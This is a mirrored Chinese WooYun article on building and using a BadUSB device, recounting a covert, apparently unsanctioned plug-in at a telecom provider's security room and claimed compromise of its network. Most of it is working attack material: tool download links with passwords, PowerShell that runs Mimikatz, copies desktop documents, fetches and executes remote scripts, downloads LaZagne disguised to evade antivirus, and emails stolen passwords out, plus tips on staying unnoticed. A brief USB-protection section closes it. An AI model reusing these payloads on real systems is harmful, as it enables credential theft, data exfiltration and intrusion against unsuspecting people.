7

BadUsb----结合实例谈此类外设的风险 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

BadUsb----结合实例谈此类外设的风险

0x00 前言


大概是从今年年初的时候关注了这一块的话题,3月份买的TOSHIBA的U盘进行的测试,期间一直在完善利用代码,期间收到了一些大牛的启发,感谢Psychson这个项目的开源,DM_在PowerShell方面的文章,以及参考过三好学生,jeary等人的配置,虽然并没有交流,但是读了他们的帖子后实践完善了整个利用过程。这是BadUsb的GitHub地址,以及原作者的操作视频(YouTube俄语翻译真心栏...自备梯子)

我在某乙方工作,一次去某省级运营商渗透前的交流时,因为来的早会议室还没有腾出来,在安全室休息时,我所坐的位置的人电脑没有锁屏,但是旁边都是安全室的人,这时候我拿出我的BadUsb,默默的去桌子底下系起了鞋带...

0x01 BadUsb制作


打包下载,密码: ixgw,包括量产工具,不包含JRE,win7_X64环境的编译好了可以直接用,项目文件夹下有command.txt可以参考,如果你是别的系统版本,请使用vs2012重新编译工具。

PS:建议就刷我的final.txt修改脚本地址即可,这样不会存在需要重新刷短接芯片的情况,所有操作只需要修改服务器端的脚本即可。如果你已经刷坏,请先在不插电脑时短接住芯片上圆点斜对面的最外两个针脚,然后启动MPALL_F2_v363_0D.exe,用QC.ini,插到usb2.0口,Update几次没有的话说明你短接手法不好,ok了点start刷一下就恢复U盘了,再重头来

0x02 BadUsb效果


目前的效果是只需要5秒钟之内,可过某pc装机量5亿的杀软,电脑闪一下屏幕就可以拔下U盘了,剩下的交给后台的PowerShell进程,实现的功能有获取电脑的基本信息,Invoke-mimikatz抓密码,桌面截屏,集成LaZagne获取系统存储的密码,递归获取桌面所有txt doc类 xls类文件,最终打成压缩包,可通过邮箱或者ftp发送,实战中建议使用ftp发送 ps:因为有人桌面的文档打包出来近GB...

看我拿本机测试能得到什么

视频密码 HappyTime

badusb1

badusb2

tree

doc

screen

info

Pass1

Pass2

0x03 BadUsb实战


基本上从视频来看 算上装驱动大概需要10秒时间,实际执行Payload大概是5秒,所以只需要给你5秒,5秒你到底能做到什么?

友情提醒

  1. 系鞋带动作要自然
  2. 速度要快
  3. 有小伙伴掩护那是再好不过的

看看我们能得到什么

doc2

secret

这个数据量有多恐怖,这只是一个安全室普通员工电脑桌面的信息,在后来对这些信息详细分析后发现了堡垒机跳板机的登录密码,以及堡垒机最高权限的账户,至此,该省所有设备都在控制之中,包括短彩信,智能网,长途网,话务网,以及基础设施,都收入囊中。

login

som

som2

email

抱歉因为客户原因,无法透露过多细节,读者可当是概念证明,毕竟威胁真实存在。

0x04 BadUsb-Exp


再次感谢Invoke-Mimikatz作者,感谢DM_,代码为拼接修改而来,照惯例留坑,防伸手党,勿怪 首先,仅通过BadUsb下载一个powershell脚本,其中在调用IEX继续下载新的PowerShell,这样设计是为了先拿到一份LaZagne获取的密码,因为有些人的桌面文档表格太大了,需要等待很久,避免夜长梦多所为。

...
...#Invoke-Mimikatz
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Report ' + $folderDateTime
$fileSaveDir = New-Item  ($userDir) -ItemType Directory
Invoke-Mimikatz -Dumpcreds >> $fileSaveDir'/DumpPass.txt'
$copyDir = (Get-ChildItem env:\userprofile).value + '\Desktop'
$copyToDir = New-Item $fileSaveDir'\Doc' -ItemType Directory
Dir -filter *.txt -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.doc -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.docx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xls -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xlsx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/GetPass.ps1');

GetPass.ps1

(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/Command.rar','D:\Command.bat');
D:\Command.bat;
$SMTPServer = 'smtp.qq.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username', 'password');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'email-address'
$ReportEmail.To.Add('To-address')
$ReportEmail.Subject = 'GetPass'
$ReportEmail.Body = 'Passwords In Applications' 
$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Send($ReportEmail)
remove-item 'D:\GetPass.txt'
remove-item 'D:\Get.exe'

其中的GetPass.rar实为LaZagne,直接下载exe会被大部分杀软拦截,所以使用重命名功能,之所以调用了一个批处理,是因为LaZagne的获取Windows密码模块(非sysadmin模块)注入Lsass进程是会被杀软拦截,所以(D:\Get.exe sysadmin & D:\Get.exe svn & D:\Get.exe database & D:\Get.exe browsers & D:\Get.exe wifi & D:\Get.exe mails) > D:\GetPass.txt 笨方法绕过杀软。

好现在是揭晓坑的时候了- -,破坏了这个脚本删除生成文件的地方~你们插完别人的电脑,这些临时文件就会一直在那里躺着~包括这些密码压缩包喔~

0x05 Sec-Usb?


既然明白了风险存在,如何防护呢?

Know it,then protect it.

首先看一种暴力的 德国LINDY USB电脑锁 电子信息资料防护加密防盗防窃取 直接锁死u口,可能适合跳板机,开发机使用,但是个人机器不现实。

再有就是类似sec-usb这种充电线了,断掉usb传输的两个data线,只保留power,这样就只能充电了,某厂商有这种商品,很贵呦~

链接: http://pan.baidu.com/s/1c09E7PQ 密码: 9b6p

0xFF 版权声明


本文独家首发于乌云知识库(drops.wooyun.org)。本文并没有对任何单位和个人授权转载。如本文被转载,一定是属于未经授权转载,属于严重的侵犯知识产权,本单位将追究法律责任。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK